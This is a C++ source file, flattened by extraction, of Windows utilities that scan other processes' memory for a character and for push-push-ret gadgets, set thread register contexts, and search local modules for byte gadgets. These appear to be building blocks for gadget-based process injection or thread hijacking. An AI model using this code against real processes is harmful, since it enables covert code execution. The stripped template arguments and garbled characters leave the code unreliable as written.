#define NOMINMAX #include "GadgetUtil.h" #include // For std::find #include // For std::cerr #include // For std::setw, std::setfill #include // For std::numeric_limits #include // For size_t (just in case) #include #include #include #include #include #include // For std::numeric_limits #include // For GetModuleInformation #include // For SEH (__try, __except) // Global variable to hold ExitThread address DWORD64 g_ExitThreadAddr = 0; LPVOID FindCharInRemoteProcess(HANDLE processHandle, char targetChar) { if (!processHandle || processHandle == INVALID_HANDLE_VALUE) { SetLastError(ERROR_INVALID_HANDLE); return nullptr; } SYSTEM_INFO sysInfo; GetSystemInfo(&sysInfo); LPVOID minAddress = sysInfo.lpMinimumApplicationAddress; LPVOID maxAddress = sysInfo.lpMaximumApplicationAddress; LPVOID currentAddress = minAddress; MEMORY_BASIC_INFORMATION mbi; while (currentAddress < maxAddress) { if (VirtualQueryEx(processHandle, currentAddress, &mbi, sizeof(mbi)) == sizeof(mbi)) { bool isReadable = (mbi.Protect & (PAGE_READONLY | PAGE_EXECUTE_READ)) != 0; bool isCommitted = (mbi.State == MEM_COMMIT); bool isGuard = (mbi.Protect & PAGE_GUARD) != 0; if (isCommitted && isReadable && !isGuard && mbi.RegionSize > 0) { // Avoid excessively large allocations, chunk if necessary if (mbi.RegionSize > (1024 * 1024 * 100)) { // 100MB limit // Skip huge region or implement chunking } else { std::vector buffer(mbi.RegionSize); SIZE_T bytesRead = 0; if (ReadProcessMemory(processHandle, mbi.BaseAddress, buffer.data(), mbi.RegionSize, &bytesRead)) { if (bytesRead > 0) { const char *bufferStart = buffer.data(); const char *bufferEnd = bufferStart + bytesRead; const char *foundIt = std::find(bufferStart, bufferEnd, targetChar); if (foundIt != bufferEnd) { SIZE_T offset = static_cast(foundIt - bufferStart); LPVOID foundAddress = static_cast(mbi.BaseAddress) + offset; return foundAddress; } } } } } LPBYTE nextAddr = static_cast(mbi.BaseAddress) + mbi.RegionSize; if (nextAddr < static_cast(mbi.BaseAddress)) { break; } currentAddress = nextAddr; } else { DWORD queryError = GetLastError(); SetLastError(queryError); break; } } SetLastError(ERROR_NOT_FOUND); return nullptr; } int GetPushInstructionInfo(const BYTE *instructionBytes, SIZE_T bytesAvailable, int *outRegisterId) { // Constants for registers and opcodes constexpr int REG_ID_INVALID = -1; constexpr int REG_ID_RAX = 0; constexpr int REG_ID_RBX = 1; constexpr int REG_ID_RBP = 2; constexpr int REG_ID_RSI = 3; constexpr int REG_ID_RDI = 4; constexpr int REG_ID_R10 = 10; constexpr int REG_ID_R11 = 11; constexpr int REG_ID_R12 = 12; constexpr int REG_ID_R13 = 13; constexpr int REG_ID_R14 = 14; constexpr int REG_ID_R15 = 15; constexpr BYTE REX_PREFIX = 0x41; constexpr BYTE PUSH_RAX_OPCODE = 0x50; constexpr BYTE PUSH_RBX_OPCODE = 0x53; constexpr BYTE PUSH_RBP_OPCODE = 0x55; constexpr BYTE PUSH_RSI_OPCODE = 0x56; constexpr BYTE PUSH_RDI_OPCODE = 0x57; constexpr BYTE PUSH_R10_OPCODE = 0x52; // When prefixed with REX_PREFIX constexpr BYTE PUSH_R11_OPCODE = 0x53; // When prefixed with REX_PREFIX constexpr BYTE PUSH_R12_OPCODE = 0x54; // When prefixed with REX_PREFIX constexpr BYTE PUSH_R13_OPCODE = 0x55; // When prefixed with REX_PREFIX constexpr BYTE PUSH_R14_OPCODE = 0x56; // When prefixed with REX_PREFIX constexpr BYTE PUSH_R15_OPCODE = 0x57; // When prefixed with REX_PREFIX *outRegisterId = REG_ID_INVALID; if (bytesAvailable < 1) { return 0; } BYTE op1 = instructionBytes[0]; switch (op1) { case PUSH_RAX_OPCODE: *outRegisterId = REG_ID_RAX; return 1; case PUSH_RBX_OPCODE: *outRegisterId = REG_ID_RBX; return 1; case PUSH_RBP_OPCODE: *outRegisterId = REG_ID_RBP; return 1; case PUSH_RSI_OPCODE: *outRegisterId = REG_ID_RSI; return 1; case PUSH_RDI_OPCODE: *outRegisterId = REG_ID_RDI; return 1; } if (op1 == REX_PREFIX) { if (bytesAvailable < 2) { return 0; } BYTE op2 = instructionBytes[1]; switch (op2) { case PUSH_R10_OPCODE: *outRegisterId = REG_ID_R10; return 2; case PUSH_R11_OPCODE: *outRegisterId = REG_ID_R11; return 2; case PUSH_R12_OPCODE: *outRegisterId = REG_ID_R12; return 2; case PUSH_R13_OPCODE: *outRegisterId = REG_ID_R13; return 2; case PUSH_R14_OPCODE: *outRegisterId = REG_ID_R14; return 2; case PUSH_R15_OPCODE: *outRegisterId = REG_ID_R15; return 2; } } return 0; } GadgetInfo FindUniquePushPushRetGadget(HANDLE processHandle) { constexpr BYTE RET_OPCODE = 0xC3; constexpr int REG_ID_INVALID = -1; GadgetInfo foundGadget; if (!processHandle || processHandle == INVALID_HANDLE_VALUE) { SetLastError(ERROR_INVALID_HANDLE); return foundGadget; } SYSTEM_INFO sysInfo; GetSystemInfo(&sysInfo); LPVOID searchAddress = sysInfo.lpMinimumApplicationAddress; LPVOID maxSearchAddress = sysInfo.lpMaximumApplicationAddress; MEMORY_BASIC_INFORMATION mbi; constexpr SIZE_T READ_CHUNK_SIZE = 65536; std::vector buffer(READ_CHUNK_SIZE); while (searchAddress < maxSearchAddress && VirtualQueryEx(processHandle, searchAddress, &mbi, sizeof(mbi)) == sizeof(mbi)) { ULONG_PTR regionEnd = reinterpret_cast(mbi.BaseAddress) + mbi.RegionSize; if (regionEnd <= reinterpret_cast(mbi.BaseAddress)) { break; } LPVOID nextSearchAddress = reinterpret_cast(regionEnd); bool isExecutable = (mbi.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)) != 0; bool isCommitted = (mbi.State == MEM_COMMIT); bool isGuarded = (mbi.Protect & PAGE_GUARD) != 0; if (isCommitted && isExecutable && !isGuarded && mbi.RegionSize > 0) { LPBYTE currentRegionPtr = static_cast(mbi.BaseAddress); LPBYTE endRegionPtr = currentRegionPtr + mbi.RegionSize; while (currentRegionPtr < endRegionPtr) { SIZE_T bytesToRead = std::min(READ_CHUNK_SIZE, static_cast(endRegionPtr - currentRegionPtr)); SIZE_T bytesRead = 0; if (buffer.size() < bytesToRead) { buffer.resize(bytesToRead); } if (!ReadProcessMemory(processHandle, currentRegionPtr, buffer.data(), bytesToRead, &bytesRead) || bytesRead == 0) { goto next_region; } for (SIZE_T offset = 0; offset <= bytesRead - 3; ++offset) { // Min size: PUSH r(1) + PUSH r(1) + RET(1) int regId1 = REG_ID_INVALID; int push1Size = GetPushInstructionInfo(buffer.data() + offset, bytesRead - offset, ®Id1); if (push1Size == 0 || regId1 == REG_ID_INVALID) continue; SIZE_T push2Offset = offset + push1Size; if (push2Offset > bytesRead - 2) continue; // Need space for PUSH(min 1) + RET(1) int regId2 = REG_ID_INVALID; int push2Size = GetPushInstructionInfo(buffer.data() + push2Offset, bytesRead - push2Offset, ®Id2); if (push2Size == 0 || regId2 == REG_ID_INVALID) continue; if (regId1 == regId2) continue; // Need unique registers SIZE_T retOffset = push2Offset + push2Size; if (retOffset >= bytesRead) continue; // Need space for RET if (buffer[retOffset] == RET_OPCODE) { foundGadget.address = static_cast(currentRegionPtr) + offset; foundGadget.regId1 = regId1; foundGadget.regId2 = regId2; return foundGadget; } } currentRegionPtr += bytesRead; } } next_region: searchAddress = nextSearchAddress; } SetLastError(ERROR_NOT_FOUND); return foundGadget; } bool SetRegisterContextValue(CONTEXT &context, int regId, DWORD64 value) { constexpr int REG_ID_RAX = 0; constexpr int REG_ID_RBX = 1; constexpr int REG_ID_RBP = 2; constexpr int REG_ID_RSI = 3; constexpr int REG_ID_RDI = 4; constexpr int REG_ID_R10 = 10; constexpr int REG_ID_R11 = 11; constexpr int REG_ID_R12 = 12; constexpr int REG_ID_R13 = 13; constexpr int REG_ID_R14 = 14; constexpr int REG_ID_R15 = 15; switch (regId) { case REG_ID_RAX: context.Rax = value; return true; case REG_ID_RBX: context.Rbx = value; return true; case REG_ID_RBP: context.Rbp = value; return true; case REG_ID_RSI: context.Rsi = value; return true; case REG_ID_RDI: context.Rdi = value; return true; case REG_ID_R10: context.R10 = value; return true; case REG_ID_R11: context.R11 = value; return true; case REG_ID_R12: context.R12 = value; return true; case REG_ID_R13: context.R13 = value; return true; case REG_ID_R14: context.R14 = value; return true; case REG_ID_R15: context.R15 = value; return true; default: return false; } } LPVOID FindLocalGadgetInRX(const char *moduleName, const std::vector &gadgetBytes, bool verbose = false) { if (gadgetBytes.empty()) { if (verbose) std::cerr << "[!] FindLocalGadgetInRX: Gadget byte vector is empty." << std::endl; return NULL; } HMODULE hModuleLocal = GetModuleHandleA(moduleName); if (!hModuleLocal) { std::cerr << "[!] FindLocalGadgetInRX: GetModuleHandleA failed for " << moduleName << ". Error: " << GetLastError() << std::endl; return NULL; } MODULEINFO modInfo = {0}; if (!GetModuleInformation(GetCurrentProcess(), hModuleLocal, &modInfo, sizeof(modInfo))) { std::cerr << "[!] FindLocalGadgetInRX: GetModuleInformation failed for " << moduleName << ". Error: " << GetLastError() << std::endl; // Cannot reliably determine module bounds, fallback might be risky or fail. return NULL; } DWORD_PTR moduleBase = (DWORD_PTR)modInfo.lpBaseOfDll; DWORD_PTR moduleEnd = moduleBase + modInfo.SizeOfImage; const size_t gadgetSize = gadgetBytes.size(); if (verbose) { std::cout << " [Gadget Search] Searching for " << gadgetSize << " byte gadget in " << moduleName << " (Base: 0x" << std::hex << moduleBase << ", End: 0x" << moduleEnd << std::dec << ")" << std::endl; } MEMORY_BASIC_INFORMATION mbi; DWORD_PTR currentAddress = moduleBase; // Start at the known module base // Loop through memory regions within the module boundaries while (currentAddress < moduleEnd && VirtualQuery((LPCVOID)currentAddress, &mbi, sizeof(mbi)) == sizeof(mbi)) { DWORD_PTR regionBase = (DWORD_PTR)mbi.BaseAddress; DWORD_PTR regionEnd = regionBase + mbi.RegionSize; // Ensure the queried region is at least partially within our target module range // And check if the region is committed memory if (mbi.State == MEM_COMMIT && regionBase < moduleEnd && regionEnd > moduleBase) { // Check for executable permissions bool isExecutable = (mbi.Protect & PAGE_EXECUTE) || (mbi.Protect & PAGE_EXECUTE_READ) || (mbi.Protect & PAGE_EXECUTE_READWRITE) || (mbi.Protect & PAGE_EXECUTE_WRITECOPY); // Check for readable permissions (needed for memcmp) // Note: PAGE_EXECUTE often implies read, but being explicit is safer. bool isReadable = (mbi.Protect & PAGE_READONLY) || (mbi.Protect & PAGE_READWRITE) || (mbi.Protect & PAGE_EXECUTE_READ) || (mbi.Protect & PAGE_EXECUTE_READWRITE); bool isGuarded = (mbi.Protect & PAGE_GUARD) || (mbi.Protect & PAGE_NOACCESS); if (isExecutable && isReadable && !isGuarded) { // Calculate the valid scanning range within this region AND the module boundaries DWORD_PTR scanStart = std::max(regionBase, moduleBase); DWORD_PTR scanEnd = std::min(regionEnd, moduleEnd); // Don't scan past module end // Ensure there's enough space for the gadget in the valid scan range if (scanStart < scanEnd && (scanEnd - scanStart) >= gadgetSize) { if (verbose) { std::cout << " [Gadget Search] Scanning RX region: 0x" << std::hex << scanStart << " - 0x" << scanEnd << std::dec << std::endl; } for (DWORD_PTR p = scanStart; p <= scanEnd - gadgetSize; ++p) { bool found = false; // Use Structured Exception Handling (SEH) for robustness __try { if (memcmp((const void *)p, gadgetBytes.data(), gadgetSize) == 0) { found = true; } } __except (EXCEPTION_EXECUTE_HANDLER) { // Access violation reading location p, skip ahead if (verbose) std::cerr << " [Gadget Search] Access violation reading 0x" << std::hex << p << std::dec << ". Skipping." << std::endl; // Advance p past the potentially problematic page boundary p = (p & ~0xFFF) + 0x1000 - 1; // Align down, add page, subtract 1 for loop increment if (p < scanStart) p = scanEnd; // Prevent going backward or infinite loop on repeated AVs } if (found) { if (verbose) std::cout << " [Gadget Search] Found gadget at 0x" << std::hex << (LPVOID)p << std::dec << std::endl; return (LPVOID)p; } } } } } // Advance to the next region // Important: Check for potential stalls if VirtualQuery reports the same region repeatedly if (regionEnd <= currentAddress) { if (verbose) std::cerr << " [Gadget Search] Memory region end did not advance. Stopping search." << std::endl; break; } currentAddress = regionEnd; } // Gadget not found std::cerr << "[!] Gadget 0x"; for (BYTE b : gadgetBytes) { std::cerr << std::hex << std::setw(2) << std::setfill('0') << static_cast(b); } std::cerr << std::dec << " not found in readable/executable regions of " << moduleName << std::endl; return NULL; }